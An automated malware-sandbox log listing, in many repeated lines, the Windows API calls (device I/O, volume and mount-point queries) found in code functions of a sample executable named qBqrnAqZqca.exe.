Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,ws8_1_5E3AE629
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDevice8_1_5E3AEA26
